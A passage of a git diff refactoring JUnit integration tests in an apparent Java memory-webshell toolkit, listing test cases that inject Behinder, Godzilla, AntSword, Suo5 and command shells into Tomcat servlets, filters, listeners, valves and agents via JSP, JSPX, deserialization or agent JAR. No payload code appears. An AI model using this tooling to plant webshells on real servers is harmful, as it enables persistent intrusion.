arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packers.JSPX), - arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packers.JavaDeserialize), - arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packers.JSPX), - arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packers.JavaDeserialize), - arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packers.JSPX), - arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packers.JavaDeserialize), - arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Suo5, Packers.JSPX), - arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Suo5, Packers.JavaDeserialize), - arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packers.JSPX), - arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packers.JavaDeserialize), - arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.JSPX), - arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize), - arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packers.JSPX), - arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packers.JavaDeserialize), - arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Suo5, Packers.JSPX), - arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Suo5, Packers.JavaDeserialize), - arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Behinder, Packers.JSPX), - arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Behinder, Packers.JavaDeserialize), - arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packers.JSPX), - arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packers.JavaDeserialize), - arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packers.JSPX), - arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packers.JavaDeserialize), - arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Suo5, Packers.JSPX), - arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Suo5, Packers.JavaDeserialize), - arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar), - arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar), - arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar), - arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar), - arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar), - arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar) + arguments(imageName, ShellType.JAKARTA_SERVLET, ShellTool.Behinder, Packers.JSP), + arguments(imageName, ShellType.JAKARTA_SERVLET, ShellTool.Behinder, Packers.JSPX), + arguments(imageName, ShellType.JAKARTA_SERVLET, ShellTool.Behinder, Packers.JavaDeserialize), + arguments(imageName, ShellType.JAKARTA_SERVLET, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, ShellType.JAKARTA_SERVLET, ShellTool.Godzilla, Packers.JSPX), + arguments(imageName, ShellType.JAKARTA_SERVLET, ShellTool.Godzilla, Packers.JavaDeserialize), + arguments(imageName, ShellType.JAKARTA_SERVLET, ShellTool.Command, Packers.JSP), + arguments(imageName, ShellType.JAKARTA_SERVLET, ShellTool.Command, Packers.JSPX), + arguments(imageName, ShellType.JAKARTA_SERVLET, ShellTool.Command, Packers.JavaDeserialize), + arguments(imageName, ShellType.JAKARTA_SERVLET, ShellTool.Suo5, Packers.JSP), + arguments(imageName, ShellType.JAKARTA_SERVLET, ShellTool.Suo5, Packers.JSPX), + arguments(imageName, ShellType.JAKARTA_SERVLET, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, ShellType.JAKARTA_FILTER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, ShellType.JAKARTA_FILTER, ShellTool.Behinder, Packers.JSPX), + arguments(imageName, ShellType.JAKARTA_FILTER, ShellTool.Behinder, Packers.JavaDeserialize), + arguments(imageName, ShellType.JAKARTA_FILTER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, ShellType.JAKARTA_FILTER, ShellTool.Godzilla, Packers.JSPX), + arguments(imageName, ShellType.JAKARTA_FILTER, ShellTool.Godzilla, Packers.JavaDeserialize), + arguments(imageName, ShellType.JAKARTA_FILTER, ShellTool.Command, Packers.JSP), + arguments(imageName, ShellType.JAKARTA_FILTER, ShellTool.Command, Packers.JSPX), + arguments(imageName, ShellType.JAKARTA_FILTER, ShellTool.Command, Packers.JavaDeserialize), + arguments(imageName, ShellType.JAKARTA_FILTER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, ShellType.JAKARTA_FILTER, ShellTool.Suo5, Packers.JSPX), + arguments(imageName, ShellType.JAKARTA_FILTER, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, ShellType.JAKARTA_LISTENER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, ShellType.JAKARTA_LISTENER, ShellTool.Behinder, Packers.JSPX), + arguments(imageName, ShellType.JAKARTA_LISTENER, ShellTool.Behinder, Packers.JavaDeserialize), + arguments(imageName, ShellType.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, ShellType.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.JSPX), + arguments(imageName, ShellType.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize), + arguments(imageName, ShellType.JAKARTA_LISTENER, ShellTool.Command, Packers.JSP), + arguments(imageName, ShellType.JAKARTA_LISTENER, ShellTool.Command, Packers.JSPX), + arguments(imageName, ShellType.JAKARTA_LISTENER, ShellTool.Command, Packers.JavaDeserialize), + arguments(imageName, ShellType.JAKARTA_LISTENER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, ShellType.JAKARTA_LISTENER, ShellTool.Suo5, Packers.JSPX), + arguments(imageName, ShellType.JAKARTA_LISTENER, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Behinder, Packers.JSP), + arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Behinder, Packers.JSPX), + arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Behinder, Packers.JavaDeserialize), + arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.JSPX), + arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.JavaDeserialize), + arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Command, Packers.JSP), + arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Command, Packers.JSPX), + arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Command, Packers.JavaDeserialize), + arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Suo5, Packers.JSP), + arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Suo5, Packers.JSPX), + arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar), + arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar), + arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar), + arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar), + arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar), + arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar) ); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat11ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat11ContainerTest.java index f2e9c4ac..6a177606 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat11ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat11ContainerTest.java @@ -1,9 +1,9 @@ package com.reajason.javaweb.integration.tomcat; -import com.reajason.javaweb.memshell.config.Constants; -import com.reajason.javaweb.memshell.config.Server; -import com.reajason.javaweb.memshell.config.ShellTool; -import com.reajason.javaweb.memshell.packer.Packers; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.memshell.Server; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; @@ -42,28 +42,28 @@ public class Tomcat11ContainerTest { static Stream casesProvider() { return Stream.of( - arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar), - arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar), - arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar), - arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar), - arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar), - arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar) + arguments(imageName, ShellType.JAKARTA_SERVLET, ShellTool.Behinder, Packers.JSP), + arguments(imageName, ShellType.JAKARTA_SERVLET, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, ShellType.JAKARTA_SERVLET, ShellTool.Command, Packers.JSP), + arguments(imageName, ShellType.JAKARTA_SERVLET, ShellTool.Suo5, Packers.JSP), + arguments(imageName, ShellType.JAKARTA_FILTER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, ShellType.JAKARTA_FILTER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, ShellType.JAKARTA_FILTER, ShellTool.Command, Packers.JSP), + arguments(imageName, ShellType.JAKARTA_FILTER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, ShellType.JAKARTA_LISTENER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, ShellType.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, ShellType.JAKARTA_LISTENER, ShellTool.Command, Packers.JSP), + arguments(imageName, ShellType.JAKARTA_LISTENER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Behinder, Packers.JSP), + arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Command, Packers.JSP), + arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Suo5, Packers.JSP), + arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar), + arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar), + arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar), + arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar), + arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar), + arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar) ); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat11JRE21ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat11JRE21ContainerTest.java index a7c132e2..291f424e 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat11JRE21ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat11JRE21ContainerTest.java @@ -1,9 +1,9 @@ package com.reajason.javaweb.integration.tomcat; -import com.reajason.javaweb.memshell.config.Constants; -import com.reajason.javaweb.memshell.config.Server; -import com.reajason.javaweb.memshell.config.ShellTool; -import com.reajason.javaweb.memshell.packer.Packers; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.memshell.Server; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; @@ -42,28 +42,28 @@ public class Tomcat11JRE21ContainerTest { static Stream casesProvider() { return Stream.of( - arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar), - arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar), - arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar), - arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar), - arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar), - arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar) + arguments(imageName, ShellType.JAKARTA_SERVLET, ShellTool.Behinder, Packers.JSP), + arguments(imageName, ShellType.JAKARTA_SERVLET, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, ShellType.JAKARTA_SERVLET, ShellTool.Command, Packers.JSP), + arguments(imageName, ShellType.JAKARTA_SERVLET, ShellTool.Suo5, Packers.JSP), + arguments(imageName, ShellType.JAKARTA_FILTER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, ShellType.JAKARTA_FILTER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, ShellType.JAKARTA_FILTER, ShellTool.Command, Packers.JSP), + arguments(imageName, ShellType.JAKARTA_FILTER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, ShellType.JAKARTA_LISTENER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, ShellType.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, ShellType.JAKARTA_LISTENER, ShellTool.Command, Packers.JSP), + arguments(imageName, ShellType.JAKARTA_LISTENER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Behinder, Packers.JSP), + arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Command, Packers.JSP), + arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Suo5, Packers.JSP), + arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar), + arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar), + arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar), + arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar), + arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar), + arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar) ); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat5ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat5ContainerTest.java index 3146799e..0664b544 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat5ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat5ContainerTest.java @@ -1,9 +1,9 @@ package com.reajason.javaweb.integration.tomcat; -import com.reajason.javaweb.memshell.config.Constants; -import com.reajason.javaweb.memshell.config.Server; -import com.reajason.javaweb.memshell.config.ShellTool; -import com.reajason.javaweb.memshell.packer.Packers; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.memshell.Server; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; @@ -41,66 +41,66 @@ public class Tomcat5ContainerTest { static Stream casesProvider() { return Stream.of( - arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSPX), - arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JavaDeserialize), - arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSPX), - arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JavaDeserialize), - arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSPX), - arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JavaDeserialize), - arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSPX), - arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize), - arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSPX), - arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JavaDeserialize), - arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSPX), - arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSPX), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSPX), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize), - arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSPX), - arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize), - arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSPX), - arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSPX), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSPX), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSPX), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSPX), - arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize), - arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSPX), - arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize), - arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSPX), - arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JavaDeserialize), - arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSPX), - arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JavaDeserialize), - arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSPX), - arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JavaDeserialize), - arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSPX), - arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JavaDeserialize), - arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JSP), - arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JSPX), - arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JavaDeserialize) + arguments(imageName, ShellType.SERVLET, ShellTool.Behinder, Packers.JSP), + arguments(imageName, ShellType.SERVLET, ShellTool.Behinder, Packers.JSPX), + arguments(imageName, ShellType.SERVLET, ShellTool.Behinder, Packers.JavaDeserialize), + arguments(imageName, ShellType.SERVLET, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, ShellType.SERVLET, ShellTool.Godzilla, Packers.JSPX), + arguments(imageName, ShellType.SERVLET, ShellTool.Godzilla, Packers.JavaDeserialize), + arguments(imageName, ShellType.SERVLET, ShellTool.Command, Packers.JSP), + arguments(imageName, ShellType.SERVLET, ShellTool.Command, Packers.JSPX), + arguments(imageName, ShellType.SERVLET, ShellTool.Command, Packers.JavaDeserialize), + arguments(imageName, ShellType.SERVLET, ShellTool.Suo5, Packers.JSP), + arguments(imageName, ShellType.SERVLET, ShellTool.Suo5, Packers.JSPX), + arguments(imageName, ShellType.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, ShellType.SERVLET, ShellTool.AntSword, Packers.JSP), + arguments(imageName, ShellType.SERVLET, ShellTool.AntSword, Packers.JSPX), + arguments(imageName, ShellType.SERVLET, ShellTool.AntSword, Packers.JavaDeserialize), + arguments(imageName, ShellType.FILTER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.Behinder, Packers.JSPX), + arguments(imageName, ShellType.FILTER, ShellTool.Behinder, Packers.JavaDeserialize), + arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JSPX), + arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize), + arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.JSPX), + arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.JavaDeserialize), + arguments(imageName, ShellType.FILTER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.Suo5, Packers.JSPX), + arguments(imageName, ShellType.FILTER, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, ShellType.FILTER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.AntSword, Packers.JSPX), + arguments(imageName, ShellType.FILTER, ShellTool.AntSword, Packers.JavaDeserialize), + arguments(imageName, ShellType.LISTENER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.Behinder, Packers.JSPX), + arguments(imageName, ShellType.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize), + arguments(imageName, ShellType.LISTENER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.Godzilla, Packers.JSPX), + arguments(imageName, ShellType.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize), + arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.JSPX), + arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.JavaDeserialize), + arguments(imageName, ShellType.LISTENER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.Suo5, Packers.JSPX), + arguments(imageName, ShellType.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, ShellType.LISTENER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.AntSword, Packers.JSPX), + arguments(imageName, ShellType.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize), + arguments(imageName, ShellType.VALVE, ShellTool.Behinder, Packers.JSP), + arguments(imageName, ShellType.VALVE, ShellTool.Behinder, Packers.JSPX), + arguments(imageName, ShellType.VALVE, ShellTool.Behinder, Packers.JavaDeserialize), + arguments(imageName, ShellType.VALVE, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, ShellType.VALVE, ShellTool.Godzilla, Packers.JSPX), + arguments(imageName, ShellType.VALVE, ShellTool.Godzilla, Packers.JavaDeserialize), + arguments(imageName, ShellType.VALVE, ShellTool.Command, Packers.JSP), + arguments(imageName, ShellType.VALVE, ShellTool.Command, Packers.JSPX), + arguments(imageName, ShellType.VALVE, ShellTool.Command, Packers.JavaDeserialize), + arguments(imageName, ShellType.VALVE, ShellTool.Suo5, Packers.JSP), + arguments(imageName, ShellType.VALVE, ShellTool.Suo5, Packers.JSPX), + arguments(imageName, ShellType.VALVE, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, ShellType.VALVE, ShellTool.AntSword, Packers.JSP), + arguments(imageName, ShellType.VALVE, ShellTool.AntSword, Packers.JSPX), + arguments(imageName, ShellType.VALVE, ShellTool.AntSword, Packers.JavaDeserialize) // arguments(imageName, 